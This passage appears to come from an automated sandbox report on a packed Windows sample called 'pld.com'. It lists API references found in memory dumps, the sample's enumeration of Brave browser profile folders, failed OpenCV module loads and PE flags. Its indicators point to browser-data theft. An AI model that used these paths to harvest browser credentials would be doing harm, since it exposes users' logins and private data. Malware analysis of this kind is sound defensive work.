"CreateFileMapping"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "CreateNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.DB425000.00000002.mdmp, 00000000-00001384.00000000.184119.DCD80000.00000002.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000000.184119.F5522000.00000002.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000000.184119.F770E000.00000002.mdmp, 00000000-00001384.00000000.184119.F7B33000.00000002.mdmp, 00000000-00001384.00000000.184119.FA526000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCD80000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ECDD3000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.ED893000.00000002.mdmp, 00000000-00001384.00000001.186039.ED915000.00000002.mdmp, 00000000-00001384.00000001.186039.F15DF000.00000002.mdmp, 00000000-00001384.00000001.186039.F5593000.00000002.mdmp, 00000000-00001384.00000001.186039.F55C2000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.DA82A000.00000002.mdmp, 00000000-00001384.00000002.187961.DB1AE000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDB3000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDC2000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDE5000.00000002.mdmp, 00000000-00001384.00000002.187961.ED1D4000.00000002.mdmp, 00000000-00001384.00000002.187961.ED4C1000.00000002.mdmp, 00000000-00001384.00000002.187961.ED8C6000.00000002.mdmp, 00000000-00001384.00000002.187961.F0822000.00000002.mdmp, 00000000-00001384.00000002.187961.F1362000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F23E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F5618000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.F9F95000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FB7000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FC3000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API (Indicator: "GetLongPathName"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileName"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMapping"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp") Found reference to API (Indicator: "SetNamedPipeHandleState"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.DB425000.00000002.mdmp, 00000000-00001384.00000000.184119.DCD80000.00000002.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000000.184119.F5522000.00000002.mdmp, 00000000-00001384.00000000.184119.F5577000.00000002.mdmp, 00000000-00001384.00000000.184119.F770E000.00000002.mdmp, 00000000-00001384.00000000.184119.F7B33000.00000002.mdmp, 00000000-00001384.00000000.184119.FA526000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCD80000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ECDD3000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.ED893000.00000002.mdmp, 00000000-00001384.00000001.186039.ED915000.00000002.mdmp, 00000000-00001384.00000001.186039.F15DF000.00000002.mdmp, 00000000-00001384.00000001.186039.F5593000.00000002.mdmp, 00000000-00001384.00000001.186039.F55C2000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.DA82A000.00000002.mdmp, 00000000-00001384.00000002.187961.DB1AE000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDB3000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDC2000.00000002.mdmp, 00000000-00001384.00000002.187961.ECDE5000.00000002.mdmp, 00000000-00001384.00000002.187961.ED1D4000.00000002.mdmp, 00000000-00001384.00000002.187961.ED4C1000.00000002.mdmp, 00000000-00001384.00000002.187961.ED8C6000.00000002.mdmp, 00000000-00001384.00000002.187961.F0822000.00000002.mdmp, 00000000-00001384.00000002.187961.F1362000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F23E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F5618000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.F9F95000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FB7000.00000002.mdmp, 00000000-00001384.00000002.187961.F9FC3000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F2A05000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "CopyFile2"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp") Found reference to API (Indicator: "ntohs"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "GetErrorMode"; Source: "00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp")34:T669,Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2A1D000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA5BF000.00000002.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.DCE91000.00000002.mdmp, 00000000-00001384.00000001.186039.E29F8000.00000002.mdmp, 00000000-00001384.00000001.186039.E4F92000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp, 00000000-00001384.00000002.187961.F55E5000.00000002.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp, 00000000-00001384.00000002.187961.FA853000.00000002.mdmp")35:T561,"%APPDATA%\..\Local\BraveSoftware\Brave-Browser\User Data\*.*" in Source: 00000000-00001384-00000C2D-133886226368 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*.*" in Source: 00000000-00001384-00000C2D-133889165768 "%APPDATA%\BraveSoftware\Brave-Browser\User Data\*.*" in Source: 00000000-00001384-00000C2D-133891974056 "%APPDATA%\..\Local\BraveSoftware\Brave-Browser-Beta\User Data\*.*" in Source: 00000000-00001384-00000C2D-133914559382 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Beta\User Data\*.*" in Source: 00000000-00001384-00000C2D-133917074522 "%APPDATA%\BraveSoftware\Brave-Browser-Beta\User Data\*.*" in Source: 00000000-00001384-00000C2D-133919984684 "%APPDATA%\..\Local\BraveSoftware\Brave-Browser-Dev\User Data\*.*" in Source: 00000000-00001384-00000C2D-133942627976 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Dev\User Data\*.*" in Source: 00000000-00001384-00000C2D-133945043436 "%APPDATA%\BraveSoftware\Brave-Browser-Dev\User Data\*.*" in Source: 00000000-00001384-00000C2D-133947419360 "%APPDATA%\..\Local\BraveSoftware\Brave-Browser-Nightly\User Data\*.*" in Source: 00000000-00001384-00000C2D-133969612422 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\*.*" in Source: 00000000-00001384-00000C2D-133972248334 "%APPDATA%\BraveSoftware\Brave-Browser-Nightly\User Data\*.*" in Source: 00000000-00001384-00000C2D-13397467217836:T46b,"pld.com" failed to load missing module "%TEMP%\_MEI74202\cv2\opencv_videoio_gstreamer4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "opencv_videoio_gstreamer4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "%TEMP%\_MEI74202\cv2\opencv_videoio_ueye4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "opencv_videoio_ueye4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "%TEMP%\_MEI74202\cv2\opencv_highgui_gtk4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "opencv_highgui_gtk4120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "%TEMP%\_MEI74202\cv2\opencv_highgui_gtk34120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "opencv_highgui_gtk34120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "%TEMP%\_MEI74202\cv2\opencv_highgui_gtk24120_64.dll" - [base:0; Status:c0000135] "pld.com" failed to load missing module "opencv_highgui_gtk24120_64.dll" - [base:0; Status:c0000135]37:Tc6f,"_imaging.cp312-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "win32ui.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ec_ws.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_webp.cp312-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_imagingcms.cp312-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ed448.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_curve448.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_des3.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_des.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_aes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_modexp.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_SHA384.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_SHA512.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_imagingmath.cp312-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_cast.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ed25519.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_SHA224.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_SHA256.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_eksblowfish.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_raw_blowfish.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 